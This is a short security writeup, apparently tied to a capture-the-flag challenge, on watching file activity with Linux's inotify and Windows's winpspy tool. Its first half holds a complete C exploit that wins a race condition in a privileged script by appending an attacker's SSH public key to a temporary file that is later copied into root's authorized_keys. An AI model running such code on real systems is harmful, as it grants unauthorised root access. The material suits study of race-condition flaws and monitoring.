I find the pspy tool very convenient to quickly see what is happening on a Linux system, and I wanted to do the same on Windows hosts. This short writeup describes Windows equivalent: winpspy.

pspy

I find the inotify API very convienent for monitoring filesystem activity: the libc page gives a great example on how to use it. This is a small adaptation I made for a challenge once: we have a privilege program doing every minute roughly the following:

tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName

To exploit the race condition, we will write our own ssh public key on /tmp/ssh-XXXXX between the touch and the cat command:

#include <errno.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>

static void handle_events(int fd, int *wd, int argc, char* argv[]) {

    char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event))));
    const struct inotify_event *event;
    ssize_t len;

    for (;;) {
        len = read(fd, buf, sizeof(buf));
        if (len == -1 && errno != EAGAIN) {
            perror("read");
            exit(EXIT_FAILURE);
        }

        if (len <= 0)
            break;

        for (char *ptr = buf; ptr < buf + len;
                ptr += sizeof(struct inotify_event) + event->len) {

            event = (const struct inotify_event *) ptr;

        // We write in the file if the filename ends ssh-XXXX (mktemp: /tmp/ssh-XXX) 
        if (event->mask & IN_CREATE && !(event->mask & IN_ISDIR) && strncmp(event->name, "ssh-", 4) == 0) {
            char filepath[1024];

            for (size_t i = 1; i < argc; ++i) {
                if (wd[i] == event->wd) {
                    snprintf(filepath, sizeof(filepath), "%s/%s", argv[i], event->name);
                    break;
                }
            }
        
            FILE *file = fopen(filepath, "a");
            if (file) {
                fputs("ssh-rsa <BASE64 SSH KEY>\n", file);
                fclose(file);
                printf("file written to %s\n", filepath);
            }
        }

            if (event->mask & IN_CREATE)
                printf("IN_CREATE: ");
            if (event->mask & IN_OPEN)
                printf("IN_OPEN: ");
            if (event->mask & IN_MODIFY)
                printf("IN_MODIFY: ");
            if (event->mask & IN_CLOSE_NOWRITE)
                printf("IN_CLOSE_NOWRITE: ");
            if (event->mask & IN_CLOSE_WRITE)
                printf("IN_CLOSE_WRITE: ");

            for (size_t i = 1; i < argc; ++i) {
                if (wd[i] == event->wd) {
                    printf("%s/", argv[i]);
                    break;
                }
            }

            if (event->len)
                printf("%s", event->name);

            if (event->mask & IN_ISDIR)
                printf(" [directory]\n");
            else
                printf(" [file]\n");
        }
    }
}

int main(int argc, char* argv[]) {
    char buf;
    int fd, i, poll_num;
    int *wd;
    nfds_t nfds;
    struct pollfd fds[2];

    if (argc < 2) {
        printf("Usage: %s PATH [PATH ...]\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    printf("Press ENTER key to terminate.\n");

    fd = inotify_init1(IN_NONBLOCK);
    if (fd == -1) {
        perror("inotify_init1");
        exit(EXIT_FAILURE);
    }

    wd = calloc(argc, sizeof(int));
    if (wd == NULL) {
        perror("calloc");
        exit(EXIT_FAILURE);
    }

    for (i = 1; i < argc; i++) {
        wd[i] = inotify_add_watch(fd, argv[i],  IN_OPEN | IN_CLOSE | IN_MODIFY | IN_CREATE);
        if (wd[i] == -1) {
            fprintf(stderr, "Cannot watch '%s': %s\n",
                    argv[i], strerror(errno));
            exit(EXIT_FAILURE);
        }
    }

    /* Prepare for polling. */
    nfds = 2;

    fds[0].fd = STDIN_FILENO;       /* Console input */
    fds[0].events = POLLIN;

    fds[1].fd = fd;                 /* Inotify input */
    fds[1].events = POLLIN;

    printf("Listening for events.\n");
    while (1) {
        poll_num = poll(fds, nfds, -1);
        if (poll_num == -1) {
            if (errno == EINTR)
                continue;
            perror("poll");
            exit(EXIT_FAILURE);
        }

        if (poll_num > 0) {
            if (fds[0].revents & POLLIN) {
                while (read(STDIN_FILENO, &buf, 1) > 0 && buf != '\n')
                    continue;
                break;
            }

            if (fds[1].revents & POLLIN) {
                handle_events(fd, wd, argc, argv);
            }
        }
    }

    printf("Listening for events stopped.\n");
    close(fd);
    free(wd);
    exit(EXIT_SUCCESS);
}

Windows equivalent: winpspy

While doing research on an equivalent for Windows, I stumbled upon xct’s winpspy

winpspy.exe c:\

....
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\backup\BBFA694D-CF27-4099-8B95-80B64F10AACA\OfficeC2RClient.exe Changed [No Access/Locked]
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\backup\BBFA694D-CF27-4099-8B95-80B64F10AACA\vcruntime140.dll Changed [No Access/Locked]
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\backup\BBFA694D-CF27-4099-8B95-80B64F10AACA\vcruntime140_1.dll Changed [No Access/Locked]
[*] File: c:\Windows\System32\UNP\UpdateNotificationHelpers.dll Changed [No Access/Locked]
[*] File: c:\Users\test\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2024-07-21_150257_7008-13332.log Created [No Access/Locked]
[*] File: c:\Users\test\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2024-05-10_210758_5708-1872.log Deleted [No Access/Locked]
[*] File: c:\Users\test\AppData\Local\Microsoft\OneDrive\setup\logs Changed [No Access/Locked]
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll Changed [No Access/Locked]
[*] File: c:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.resources Changed [No Access/Locked]
[*] File: c:\Windows\Microsoft.NET\assembly Changed [No Access/Locked]
[*] File: c:\Windows\Microsoft.NET\assembly\GAC_MSIL Changed [No Access/Locked]

It uses internally the FileSystemWatcher API that is similar to Linux’s inotify API: it basically monitors process, pipes and file changes:

Image

The nice additional info is whether the calling user can read and or write to the file system event source:

Image

I encourage you to experiment it on your environment: it’s a quick way to see what is going on on the host, without relying on procmon.